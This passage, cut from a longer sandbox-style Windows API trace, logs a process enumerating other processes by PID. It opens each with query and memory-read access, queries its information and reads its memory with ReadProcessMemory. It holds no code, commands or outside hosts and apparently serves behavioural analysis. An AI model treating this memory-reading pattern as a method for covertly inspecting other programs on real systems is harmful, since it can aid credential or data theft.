szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0282.318] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0282.337] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x358) returned 0x464 [0282.338] GetLastError () returned 0x0 [0282.338] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0282.338] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xe58887a018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0282.339] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0282.339] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x28611e033e0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0282.339] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x28611e03048, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0282.340] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0282.342] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0282.342] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xe58887a020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0282.343] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x28611e02a30, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0282.343] malloc (_Size=0x58) returned 0x196ef100bc0 [0282.343] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x28611e03088, lpBuffer=0x196ef100bc0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef100bc0*, lpNumberOfBytesRead=0x0) returned 1 [0282.344] free (_Block=0x196ef100bc0) [0282.345] CloseHandle (hObject=0x464) returned 1 [0282.356] _ui64tow_s (in: _Value=0x368, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="872") returned 0x0 [0282.402] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="872") returned 3 [0282.404] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0282.404] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0282.424] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x368) returned 0x464 [0282.424] GetLastError () returned 0x0 [0282.425] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0282.425] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xb23a8e3018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0282.425] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0282.426] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x25329703480, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0282.426] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x253297030d8, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0282.427] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0282.429] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0282.429] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xb23a8e3020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0282.429] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x25329702ac0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0282.429] malloc (_Size=0x74) returned 0x196ef0d2120 [0282.429] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x25329703118, lpBuffer=0x196ef0d2120, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0282.430] free (_Block=0x196ef0d2120) [0282.431] CloseHandle (hObject=0x464) returned 1 [0282.431] _ui64tow_s (in: _Value=0x38c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="908") returned 0x0 [0282.436] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="908") returned 3 [0282.437] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0282.438] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0282.461] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x38c) returned 0x464 [0282.461] GetLastError () returned 0x0 [0282.462] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0282.462] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x849e247018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0282.462] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0282.462] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a5e3103490, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0282.463] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a5e31030d8, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0282.464] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0282.466] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0282.466] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x849e247020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0282.466] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a5e3102ac0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0282.466] malloc (_Size=0x84) returned 0x196ef0fa3c0 [0282.466] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a5e3103118, lpBuffer=0x196ef0fa3c0, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fa3c0*, lpNumberOfBytesRead=0x0) returned 1 [0282.467] free (_Block=0x196ef0fa3c0) [0282.468] CloseHandle (hObject=0x464) returned 1 [0282.469] _ui64tow_s (in: _Value=0x39c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="924") returned 0x0 [0282.476] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="924") returned 3 [0282.478] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0282.478] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0282.500] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x39c) returned 0x464 [0282.500] GetLastError () returned 0x0 [0282.500] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0282.500] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xd3ae96018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0282.500] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0282.501] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e9d3f03490, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0282.501] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e9d3f030d8, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0282.509] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0282.511] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0282.511] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xd3ae96020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0282.511] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e9d3f02ac0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0282.511] malloc (_Size=0x86) returned 0x196ef0fab10 [0282.511] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e9d3f03118, lpBuffer=0x196ef0fab10, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fab10*, lpNumberOfBytesRead=0x0) returned 1 [0282.512] free (_Block=0x196ef0fab10) [0282.513] CloseHandle (hObject=0x464) returned 1 [0282.513] _ui64tow_s (in: _Value=0x3fc, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="1020") returned 0x0 [0282.518] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="1020") returned 4 [0282.519] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0282.519] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0282.542] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3fc) returned 0x464 [0282.542] GetLastError () returned 0x0 [0282.542] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0282.543] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x71b3034018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0282.543] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0282.543] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x26426003470, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0282.543] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x264260030d8, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0282.544] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0282.546] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0282.546] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x71b3034020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0282.546] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x26426002ac0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0282.546] malloc (_Size=0x62) returned 0x196ef0d0610 [0282.546] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x26426003118, lpBuffer=0x196ef0d0610, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0610*, lpNumberOfBytesRead=0x0) returned 1 [0282.547] free (_Block=0x196ef0d0610) [0282.548] CloseHandle (hObject=0x464) returned 1 [0282.549] _ui64tow_s (in: _Value=0x1b8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="440") returned 0x0 [0282.554] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="440") returned 3 [0282.555] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0282.556] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0282.576] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b8) returned 0x464 [0282.576] GetLastError () returned 0x0 [0282.577] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0282.577] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xb4bbe3c018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0282.577] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0282.577] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f146e03400, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0282.577] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f146e03048, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0282.578] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0282.584] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0282.584] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xb4bbe3c020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0282.584] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f146e02a30, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0282.584] malloc (_Size=0x82) returned 0x196ef0fa960 [0282.584] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f146e03088, lpBuffer=0x196ef0fa960, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fa960*, lpNumberOfBytesRead=0x0) returned 1 [0282.585] free (_Block=0x196ef0fa960) [0282.586] CloseHandle (hObject=0x464) returned 1 [0282.587] _ui64tow_s (in: _Value=0x460, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="1120") returned 0x0 [0282.591] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="1120") returned 4 [0282.592] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0282.592] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0282.609] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x460) returned 0x464 [0282.609] GetLastError () returned 0x0 [0282.610] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0282.610] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x448f0b2018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0282.610] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0282.611] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e0ed903460, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0282.611] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e0ed9030c8, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0282.612] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0282.614] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0282.614] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x448f0b2020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0282.614] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e0ed902ab0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0282.614] malloc (_Size=0x66) returned 0x196ef0d0680 [0282.614] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e0ed903108, lpBuffer=0x196ef0d0680, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0680*, lpNumberOfBytesRead=0x0) returned 1 [0282.615] free (_Block=0x196ef0d0680) [0282.616] CloseHandle (hObject=0x464) returned 1 [0282.617] _ui64tow_s (in: _Value=0x4d8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="1240") returned 0x0 [0282.622] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="1240") returned 4 [0282.623] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0282.623] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0282.687] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4d8) returned 0x464 [0282.687] GetLastError () returned 0x0 [0282.687] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0282.687] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3ff018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0282.688] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0282.688] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1b70, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0282.688] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1818, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0282.689] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0282.691] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0282.691] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3ff020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0282.691] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1200, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0282.691] malloc (_Size=0x42) returned 0x196ef0fb220 [0282.691] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1858, lpBuffer=0x196ef0fb220, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fb220*, lpNumberOfBytesRead=0x0) returned 1 [0282.692] free (_Block=0x196ef0fb220) [0282.693] CloseHandle (hObject=0x464) returned 1 [0282.694] _ui64tow_s (in: _Value=0x580, _Buffer=0x670f7d480, _BufferCount=0x104, 